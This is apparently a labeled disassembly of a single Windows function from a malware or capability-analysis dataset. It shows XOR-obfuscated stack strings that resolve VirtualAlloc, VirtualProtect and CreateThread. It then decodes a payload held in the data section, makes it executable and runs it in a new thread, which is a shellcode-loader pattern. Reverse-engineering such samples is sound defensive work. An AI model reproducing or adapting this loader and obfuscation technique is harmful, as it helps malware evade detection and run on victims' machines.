Function at 0x140011258
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x140011870
push rbp
push rdi
sub rsp, 0x2c8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x76
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001d178]
xor rax, rbp
mov qword [rbp + 0x288], rax
lea rcx, [0x140022015]
call fcn.140011352
mov dword [rbp + 0x64], 0
mov eax, dword [0x14001d11c]
mov r9d, 0xf
lea r8, str.helloworld123.
mov edx, eax
lea rcx, section..data
call fcn.14001119a
mov byte [rbp + 0x88], 0x3e
mov byte [rbp + 0x89], 0xc
mov byte [rbp + 0x8a], 0x1e
mov byte [rbp + 0x8b], 0x18
mov byte [rbp + 0x8c], 0x1a
mov byte [rbp + 0x8d], 0x16
mov byte [rbp + 0x8e], 3
mov byte [rbp + 0x8f], 0x33
mov byte [rbp + 0x90], 0
mov byte [rbp + 0x91], 8
mov byte [rbp + 0x92], 0x5e
mov byte [rbp + 0x93], 0x51
mov byte [rbp + 0x94], 0x33
mov byte [rbp + 0xb8], 0x3e
mov byte [rbp + 0xb9], 0xc
mov byte [rbp + 0xba], 0x1e
mov byte [rbp + 0xbb], 0x18
mov byte [rbp + 0xbc], 0x1a
mov byte [rbp + 0xbd], 0x16
mov byte [rbp + 0xbe], 3
mov byte [rbp + 0xbf], 0x22
mov byte [rbp + 0xc0], 0x1e
mov byte [rbp + 0xc1], 0xb
mov byte [rbp + 0xc2], 0x45
mov byte [rbp + 0xc3], 0x57
mov byte [rbp + 0xc4], 0x50
mov byte [rbp + 0xc5], 0x5a
mov byte [rbp + 0xc6], 0x68
mov byte [rbp + 0xe8], 0x2b
mov byte [rbp + 0xe9], 0x17
mov byte [rbp + 0xea], 9
mov byte [rbp + 0xeb], 0xd
mov byte [rbp + 0xec], 0x1b
mov byte [rbp + 0xed], 0x12
mov byte [rbp + 0xee], 0x3b
mov byte [rbp + 0xef], 0x1a
mov byte [rbp + 0xf0], 0x1e
mov byte [rbp + 0xf1], 1
mov byte [rbp + 0xf2], 0x50
mov byte [rbp + 0xf3], 0x56
mov byte [rbp + 0xf4], 0x33
mov dword [rbp + 0x114], 0xd
mov dword [rbp + 0x134], 0xf
mov dword [rbp + 0x154], 0xd
mov eax, dword [rbp + 0x114]
mov r9d, 0xf
lea r8, str.helloworld123.
mov edx, eax
lea rcx, [rbp + 0x88]
call fcn.14001119a
mov eax, dword [rbp + 0x134]
mov r9d, 0xf
lea r8, str.helloworld123.
mov edx, eax
lea rcx, [rbp + 0xb8]
call fcn.14001119a
mov eax, dword [rbp + 0x154]
mov r9d, 0xf
lea r8, str.helloworld123.
mov edx, eax
lea rcx, [rbp + 0xe8]
call fcn.14001119a
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rbp + 0x88]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x178], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rbp + 0xb8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x198], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rbp + 0xe8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1b8], rax
mov eax, dword [0x14001d11c]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [rbp + 0x178]
mov qword [rbp + 8], rax
mov eax, dword [0x14001d11c]
mov r8d, eax
lea rdx, section..data
mov rcx, qword [rbp + 8]
call fcn.14001138e
mov eax, dword [0x14001d11c]
lea r9, [rbp + 0x64]
mov r8d, 0x20
mov edx, eax
mov rcx, qword [rbp + 8]
call qword [rbp + 0x198]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x140011b74
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 8]
xor edx, edx
xor ecx, ecx
call qword [rbp + 0x1b8]
mov qword [rbp + 0x48], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ad00]
call fcn.1400112ee
mov eax, edi
mov rcx, qword [rbp + 0x288]
xor rcx, rbp
call fcn.14001119f
lea rsp, [rbp + 0x298]
pop rdi
pop rbp
ret